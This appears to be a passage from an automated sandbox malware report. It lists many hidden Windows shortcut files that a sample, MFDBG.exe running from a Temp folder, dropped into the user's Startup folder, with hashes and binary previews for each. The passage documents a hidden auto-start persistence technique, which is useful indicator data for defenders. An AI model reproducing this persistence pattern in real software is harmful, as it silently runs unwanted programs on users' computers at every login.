File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9258816697393275
Encrypted:	false
SSDEEP:	24:8NO3BfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NORpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	978E0196DF3217DAFE04FAD6A579CAEC
SHA1:	65BAE364351BF86B9BCCE47991671AE25FF70C3C
SHA-256:	CE82D17C7E6C31F417B78FE2FC0D30727AEF140C618A2AD1D5B6609990D4A97A
SHA-512:	AE45C21C56107C80890D8E86E34EC3A98D6C9B664AEB6E500079639372DD029BC4F5911589F82C9F86B6C338B520D6C5101EB7EAC6458F349A61703C15E4A50D
Malicious:	false
Preview:	L..................F....".......d.....8]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f4a9ebf19644895940839479233d53e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91599067846635
Encrypted:	false
SSDEEP:	24:8aBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F35AF703EB89F639F86EC52A4920F97B
SHA1:	A677CC330DD42CF6AF048A5C5DC2D9078CF099AB
SHA-256:	DBE76872BB8BEA5C336910AB4537A5DC25C0A81B1D33AC7A0BD127EADCE9B660
SHA-512:	157A7B809A82BE60926FEF9E15AFEC70C5EB03B583729C0D24031714EBF20505C11F93EE1D5BE5D282C478F30A6A07ABB64383C52080A3925AFDBD623FA5FDC7
Malicious:	false
Preview:	L..................F....".......d.....T9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f667397dce04c79be453e8d40e50b43.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9276616575068495
Encrypted:	false
SSDEEP:	24:81BfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	141F744C0BA19A1FACBEDB59B9E7E639
SHA1:	05064F35A25078CEB5D72165464EA4144FB7D230
SHA-256:	410BFAAC306699A9270FE38034DEBF2822004E6D1D391270A82906D8C58DAB71
SHA-512:	EF2F4F9B8B6C8207199A52C932C25421DF2DD42AA38AFD36220DEECF4C8F54333889194C1D1F5E24C2141E4E82777238F538114B9AC447CFBE657E7A462FA59C
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f6f76a058254ed588ba83e9250c331f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922789356960184
Encrypted:	false
SSDEEP:	24:8A3Bfyf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	584E5D7B0BC5D883F912AC38F1283407
SHA1:	9A04E3B40AAACE5EC96716F522D9CC0AB5DD3C14
SHA-256:	BF38D7D72E69F36F91863D80CFA48751249F56C2447BA579245C00AB51C44689
SHA-512:	2ADB1B7E964B3B41D5C861A98D5DB56FDC21E7EF6BBEC7BFD8336EC0C84B20DFC26A6860F66319995DA54B406EC2831DE224748D87C6A34D9509CBEE9E0B190D
Malicious:	false
Preview:	L..................F....".......d....s.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....K.[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f9a7889a42e4ca09ee5745af55a9ce6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918614136633172
Encrypted:	false
SSDEEP:	24:82Bfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88REvZ0yRO7DLO2zdxdRd1kyg
MD5:	685E9B237D0819842EF31DFEC782D82F
SHA1:	BC667D6A6D2DCEA764067F3E67C78B4BCE037988
SHA-256:	FC7A64185EC2C5DD7B6742078D238F3DDF4D2D8AAC68C2F499E7919931A726AF
SHA-512:	358C067A5DD0DD3962D03815ECD24137DFC57887868FE7FB0AA395CCBDDAD1378C79A9C869FC898C4B43D43ACE9062028BE6C70FD4CF3265A2CA9C531CC90771
Malicious:	false
Preview:	L..................F....".......d......?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fc60fd27eb74aadb3e4a8d82022c13a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918221650312578
Encrypted:	false
SSDEEP:	24:8/Bff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8A0EBD19774E7CCD4B320C6EAC262F9
SHA1:	A75A3992DC4078D7542CF88698B49A278EE0338F
SHA-256:	932B1B9593C49004C8B505F5F62B85CF8A5FB5070DD3E2E6AF0450F747DCFBC4
SHA-512:	B571D6C81CC0C60BFECB57C92960480B15063EBF9AEF90595F3508768EC0876B046C49E74219BB02504AAAE43570D0E003775B8B6AA715DDFAED084B6D1A7DCF
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fe6034bf64b40599010fd8a71a4097a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921135571106803
Encrypted:	false
SSDEEP:	24:8ABfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	361A7C9D427FF9E904E821366446907C
SHA1:	F33248375E0168580220E9EB3A1BB3ADED1664E4
SHA-256:	2032FEC039C32EA6E8C81438F9F701FD7A4DFE6471E8D97194489219BBE26741
SHA-512:	B31E3AD2AEC8657413B1413E104A905E340487C51E2F103C69B85C823F39B50EA3EDC02D99C191C9DC8FFC75CDAF9808BAD5D2DB3AE8C4813C2E642B77EEC167
Malicious:	false
Preview:	L..................F....".......d...b,<\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_801e900601214cb5b115d90657521ce8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9158288860087405
Encrypted:	false
SSDEEP:	24:89Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7970846FC76D2D2E94FD64ED3E986FF5
SHA1:	810A89A727DB75A7DD6DD28ED2CB8E4126ACBF6A
SHA-256:	A6EF194759AC9F3D52911A88D2DF6B047A174534B5C21E71C9EBB16F614DB9E5
SHA-512:	2A55C5296EFFFE27C9242212D48AC1562DB0F93FE9A948B5ED4AC7A7BF58A818FB7E738AD44B96ABFB703C29E60A17A929D2596EB12AB1334E7B98B40E3755D6
Malicious:	false
Preview:	L..................F....".......d...AF.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8024aa45c78442ea9ec1eec59bcc87f3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927643784276772
Encrypted:	false
SSDEEP:	24:8hBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87bEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FE39C6657B8A84BCDC78B7E93651F9AE
SHA1:	F911D2354BDD2C725E3DB0ECAB3800BA488F7063
SHA-256:	4CE42B4E27A1BB8C27E051E82B52CCDBC3E3F94E5CE875AD3C91D556E2BB784A
SHA-512:	64DAD86EF04EC9C4C335D345AEBA187734BB09625BC36697CDDA9A7D70E15F224136EE5FB7D785ABEE9DE99BB517561BD84F9A7FF8292A15E50C40A9A4D1A52C
Malicious:	false
Preview:	L..................F....".......d...;..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80256ad3cc9e4284878abfe4a1f47963.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925695841808507
Encrypted:	false
SSDEEP:	24:8ZBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0FC926FC66D70D8C16368F13EFA465A8
SHA1:	B365656BBA4589723CC00DB3BBF6F59B62C55B16
SHA-256:	99AEF1D6C292A4147415B24F0A4EC303536B2A5664AF8579B3BB853A8313DBE5
SHA-512:	FE997A9F37A9B5B10016A2C861B2977E191F1A33F0130DA0899C9BE4BB1E7934BB02AB630B33E5E42B718091F84100D6BB1E46D39344355853FE9054DB2016C7
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_802b6156de3f439c813ea4bf7dffba92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931489183375097
Encrypted:	false
SSDEEP:	24:88Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yREvZ0yRO7DLO2zdxdRd1kyg
MD5:	C6EF95882E349C5FA551395398435250
SHA1:	69A97C05739A835F93A95D30434CF21351C2010E
SHA-256:	9E53B213A333AD83F621EA7ABBD0FC63E3B5024AF456E51B050BB279DD65FF14
SHA-512:	BC7E8263E667C085C3EA6CD8C09DBF2DA83DD0B88F34F6647A6BBE6C10183BA813A2977D6375FCEDEE21AACE4560989EB7F5792FA278762328C6CF4C541901F7
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_805cd967a1e0458690a6d85264259d2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9232594879717375
Encrypted:	false
SSDEEP:	24:8Vr2Bfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Vr8yEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7EDD5C049C38AD4E4D45F0F11E121CFE
SHA1:	268E3043A031837EB92917A8F23464E6003AA4B7
SHA-256:	AE4897119FCA886B354399350AEDC62765C55C9B1E71FDF21C90A8DCA578B220
SHA-512:	BA5BD936159A3F449AC207452400D494ACA5DE1F397D4EF6E92C6316F147FA71BBF72F09DD766B448200224D8E758A7FBB5A811D29EED02657019A21571F1F30
Malicious:	false
Preview:	L..................F....".......d....mT.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80b420a76f29430b846d83399fe78855.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929061969716803
Encrypted:	false
SSDEEP:	24:8KBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Ip9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	6E443ADCF0DB65E8C0C800DEFB9D83DD
SHA1:	6390B693B3875EA335FC8432C4AA582BD088DAB3
SHA-256:	C07A6AFACCF0DFB6738BA0E315E3DAF8F375CBD3819B245048F5E5A89AA62D0B
SHA-512:	43E6D479407447C163F3270148515C95BA116F8672C1EFB9808ED43074470BFFA321C83C1810401E970162D7F6B21270BDE98ED145D1F16A74F6C5FA5F61DB39
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80ee0f8576b24cacad7909e092fb0114.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
